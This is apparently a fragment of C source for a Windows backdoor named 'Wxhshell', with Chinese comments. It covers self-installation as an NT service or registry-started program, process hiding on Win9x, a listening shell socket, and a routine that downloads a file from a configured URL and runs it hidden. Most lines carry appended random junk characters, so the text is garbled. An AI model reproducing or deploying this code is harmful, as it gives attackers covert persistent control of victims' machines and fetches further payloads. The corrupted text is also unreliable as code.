DWORD BasePriority; bqm%@*fZo
ULONG UniqueProcessId; kwpbg Q
ULONG InheritedFromUniqueProcessId; .OvH<%g!.
} PROCESS_BASIC_INFORMATION; kBJx`tjtp
:@sjOY
PROCNTQSIP NtQueryInformationProcess; hXP'NS`iv
Hu7WU;w
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JcI~8;Z@Z~
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (p}N
cn.
v\Xyz
)
HANDLE hProcess; >I*uo.OF
PROCESS_BASIC_INFORMATION pbi; A&qZ:&(OM
,
Y cF~
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6^hCW`jG
if(NULL == hInst ) return 0; (&-!l2
_[ufH*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2)+ddel<Z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j<_)Y(x>
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TWo.c _l
+p_>fO
if (!NtQueryInformationProcess) return 0; ./E<v
_J33u3v
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cR/z; *wr7
if(!hProcess) return 0; CC{{@
z)]Br1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {,zn#hU.R
SW*Yu{
CloseHandle(hProcess); jij-pDQnv
p& +w
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g)Dg=3+>
if(hProcess==NULL) return 0; \tZZn~ex
eUm,=s
HMODULE hMod; guWX$C-+1
char procName[255]; bf-V Q7
unsigned long cbNeeded; G7d)X^q!xS
>p@v'h/Cr
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EiWsVic[
<B3$ODGJp
CloseHandle(hProcess); /yO|Q{C}M8
4]%v%64U
if(strstr(procName,"services")) return 1; // 以服务启动 qB44;!(
D0a3%LBS/2
return 0; // 注册表启动 ?_Y2'O
} $kCLS7 *
<c$K3
// 主模块 7\sR f/
int StartWxhshell(LPSTR lpCmdLine) KJ;NcUq
{ 15tT%TC
SOCKET wsl; .0f6b
BOOL val=TRUE; -iJ @K
int port=0; Y<EdFzle
struct sockaddr_in door; Y; OqdO
i*-L_!cc:
if(wscfg.ws_autoins) Install(); tX *}l|;(
EoD[,:*
port=atoi(lpCmdLine); RbGq$vYol/
!$5.\D
if(port<=0) port=wscfg.ws_port; l&LrcM
i%eq!q
WSADATA data; "J(W)\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /WWD;keP5
{X'D07 q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :*MqYny&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #Kd^t=k
door.sin_family = AF_INET; us
TPr
door.sin_addr.s_addr = inet_addr("127.0.0.1"); $X%'je
door.sin_port = htons(port); sGdlS&08(
H^N
5yOj/
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GN%|'eU
closesocket(wsl); G(6MLh1
return 1; ~KF>Jow?Y
} ="*:H)
r p^Gk
if(listen(wsl,2) == INVALID_SOCKET) { }g\1JSJ%H
closesocket(wsl); ++)3*+N+
return 1; D3BT>zTGK
} UZ` <D/
Wxhshell(wsl); V<%eWT)x7C
WSACleanup(); !uwZ%Uxz
1>"[b8a/
return 0; q;<=MO/
[hl8LP+~
} u6#=<FD/}
E"l/r4*f@
// 以NT服务方式启动 WzwH;!
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zj9)vr`7
{ Z:2a_Atm
DWORD status = 0; ZFNn(n
DWORD specificError = 0xfffffff; ra4$/@3n
v==b.
2=
serviceStatus.dwServiceType = SERVICE_WIN32; X>W2aDuEZ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6|-V{
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; " A}S92
serviceStatus.dwWin32ExitCode = 0; n8dJ6"L<"
serviceStatus.dwServiceSpecificExitCode = 0; i6@c@n
serviceStatus.dwCheckPoint = 0; {#,eD
serviceStatus.dwWaitHint = 0; qlJzXq{|`
#!i&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x&kM /z?/
if (hServiceStatusHandle==0) return; :p@.aD5
CC8)yO
status = GetLastError(); =>k E`"{!
if (status!=NO_ERROR) {Hu@|Q\~&
{ \[57Dmo
serviceStatus.dwCurrentState = SERVICE_STOPPED; ip`oL_c
serviceStatus.dwCheckPoint = 0; *@zh
serviceStatus.dwWaitHint = 0; @3Lh/&
serviceStatus.dwWin32ExitCode = status; qz@k-Jqq
d
serviceStatus.dwServiceSpecificExitCode = specificError; pp2,d`01[L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,_N+t:*#0
return; iW
#|N^
} '[z529HN
26&$vgO~:
serviceStatus.dwCurrentState = SERVICE_RUNNING; lzE{e6
serviceStatus.dwCheckPoint = 0; fK %${
serviceStatus.dwWaitHint = 0; IOjp'6Yr
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BIk0n;Kz<L
} ~fV\
X*
dx&!RK+
// 处理NT服务事件,比如:启动、停止 +~x'1*A_
VOID WINAPI NTServiceHandler(DWORD fdwControl) UK7pQt}9
{ `Nnaw+<]
switch(fdwControl) ]+
KN9
{ <Pm!#)-g9
case SERVICE_CONTROL_STOP: Ki,SFww8r
serviceStatus.dwWin32ExitCode = 0; c&mLK1A6
serviceStatus.dwCurrentState = SERVICE_STOPPED; <y}9Twdy
serviceStatus.dwCheckPoint = 0; VbG#)>"F
serviceStatus.dwWaitHint = 0; AVnH|31dC~
{ <?>1eU%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2d# 3LnO
} X9-WU\?UC
return; :Rftn6!
case SERVICE_CONTROL_PAUSE: N*w6D:
serviceStatus.dwCurrentState = SERVICE_PAUSED; "PD^]m
break; Sf>#Zqj/
case SERVICE_CONTROL_CONTINUE: d$H
serviceStatus.dwCurrentState = SERVICE_RUNNING; I,lX;~xb
break; 'nMj<:0wlD
case SERVICE_CONTROL_INTERROGATE: F4*ssx
break; 9zL(PkC%\
}; #lY_XV.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "M!]t,?S
} 1
O?bT,"b
Img$D*BM
// 标准应用程序主函数 (6crWw{3
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m4r<=o
{ \GD\N=?~
* @=ZzL
// 获取操作系统版本 A/c #2
OsIsNt=GetOsVer(); Mgp+#w+,
GetModuleFileName(NULL,ExeFile,MAX_PATH); >lV'}0u)
)
w1`<7L
// 从命令行安装 L+X:M/)
if(strpbrk(lpCmdLine,"iI")) Install(); PNs*+/-S
YZk.{#^ c
// 下载执行文件 U!\~LKfA
if(wscfg.ws_downexe) { KSAE!+
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X=KC+1e
WinExec(wscfg.ws_filenam,SW_HIDE); 2;w`W58
} j>`-BN_
vk4Q2P
if(!OsIsNt) { 5~[m]
// 如果时win9x,隐藏进程并且设置为注册表启动 ZYS]Et[Q
HideProc(); h5Ee*De
StartWxhshell(lpCmdLine); {ldt/dl~
} bs&>QsI?j
else 3c=>;g
if(StartFromService()) d.0K~M
// 以服务方式启动 kW7$Gw]-
StartServiceCtrlDispatcher(DispatchTable); !$hi:3{U,
else ,
.E>
// 普通方式启动 Rc vp@
StartWxhshell(lpCmdLine); lc$wjK[w[
t$e' [;w
return 0; GO)5R,
} L++qMRk9
FuM:~jv
3yrb7Rn3
w>o/)TTJL
=========================================== s1]m^,
v!W{j&